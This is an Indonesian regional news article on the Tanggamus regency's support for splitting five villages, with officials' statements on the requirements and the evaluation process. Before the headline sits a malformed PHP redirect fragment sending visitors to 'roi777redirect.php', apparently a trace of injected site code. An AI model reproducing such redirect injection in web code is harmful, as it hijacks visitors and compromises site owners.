header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Pemkab Tanggamus Dukung Pemekaran 5 Pekon -

TRANSLAMPUNG.COM, TANGGAMUS – Pemerintah Kabupaten Tanggamus mendukung lima pekon di tiga kecamatan yang saat ini masuk persiapan pemekaran. Sebab pemekaran sebuah wilayah, adalah slah satu langkah memajukan suatu daerah.

Hal itu disampaikan Asisten I Pemkab Tanggamus Paksi Marga. Menurut dia selain salah satu langkah memajukan suatu daerah, pemekaran tersebut juga untuk mempersingkat rentang jarak pelayanan dari pemerintah kabupaten ke masyarakat di desa.

“Kami dukung pemekaran lima pekon itu. Tujuannya supaya ada pembangunan di suatu wilayah dan agar pembangunannya merata,” ujar Paksi Marga, Rabu (4/7).

Ia mengaku tidak masalah, apabila awal pemekaran harus ada pembagian aset dan keuangan. Namun seiring berjalannya waktu, hal itu akan teratasi, baik oleh daerah induk maupun daerah yang baru mekar.

Diberitakan sebelumnya oleh Trans Lampung sebelumnya, lima pekon di tiga kecamatan Kabupaten Tanggamus, mulai masuk masa tinjauan pemekaran sampai tiga tahun ke depan. Kelima pekon yang akan dimekarkan, yaitu Pekon Lengkulai di Kecamatan Kelumbayan Barat. Lalu di Kecamatan Ulubelu meliputi Pekon Ngarip, Gunungsari, dan Sirnagalih. Kemudian Pekon Sanggi di Kecamatan Bandarnegeri Semong.

Kasubbag Pemerintahan Pekon M. Yudhi mengatakan, kelima pekon itu statusnya pekon induk dan nanti dimekarkan masing-masing satu pekon. Sedangkan bakal nama pekon baru, belum dipastikan. Karena masih masa evaluasi antara satu sampai tiga tahun ke depan.

“Jika dalam satu tahun ke depan sudah ada yang siap, maka bisa mekar dan berdiri pekon baru secara definitif. Dan jika sampai tiga tahun hasil evaluasi tidak menunjukkan perkembangan, maka tidak dimekarkan,” terang Yudhi Jumat (29/6), mewakili Kabag Tata Pemerintahan Sekretariat Pemkab Tanggamus Robin Sadek.

Ia mengaku usulan pemekaran pekon sudah muncul sejak tahun lalu yang diusulkan ke kecamatan masing-masing. Lantas dari kecamatan mengusulkan ke Pemkab Tanggamus dan dievaluasi.

“Hasil evaluasi kami usulan bisa diterima dan diteruskan ke Pemprov Lampung, dan keluar keputusan desa persiapan,” ujar Yudhi.

Selama masa desa persiapan akan terus dibimbing, dipantau, dan dievaluasi. Harapannya ada perubahan berupa perkembangan yang mengarah pada munculnya pekon baru. Jika itu ada maka bisa didirikan pekon baru secara definitif.

“Pastinya harus ada perkembangan dan sementara ini kami yakin pekon-pekon itu bisa untuk dimekarkan, meski keputusannya nanti setelah hasil akhir evaluasi,” terang Yudhi.

Ia mengaku, bekal untuk pemekaran pekon yakni jumlah penduduk minimal 8.000 jiwa atau ada 800 kepala keluarga (KK) yang nanti dibagi untuk dua pekon. Lalu minimal usia pekon induk lima tahun, tersedianya sarana dan prasarana seperti sekolah, bakal tanah untuk kantor pekon, dan lapangan.

”Semua itu harus terpenuhi dahulu,” tegas Yudhi.

Dia mengaku, bisa atau tidaknya sebuah pekon mekar, tergantung keputusan Pemprov Lampung. Hal itu mulai dari keputusan pendirian pekon persiapan sampai hasil akhir bisa jadi pekon definitif. Sedangkan peran pemkab hanya memberikan rekomendasi.

Untuk itu, Pemkab Tanggamus minta kepada pekon yang akan dimekarkan agar melakukan perkembangan pembangunan di pekonnya. Sebab itu, indikator pekon tersebut bisa dimekarkan atau tidak. Dan sampai saat ini cuma lima pekon itu saja yang usulkan pemekaran sebab persyaratannya berat.

Terkait dengan evaluasi pelaksanaan program Dana Desa, Yudhi menambahkan, hal itu tidak menjadi masalah. Selama ini belum ada instruksi resmi larangan pemekaran pekon jika dikaitkan dengan program Dana Desa.

”Maka peluang memekarkan pekon tetap terbuka,” tandasnya. (ayp/hkw)

News Reporter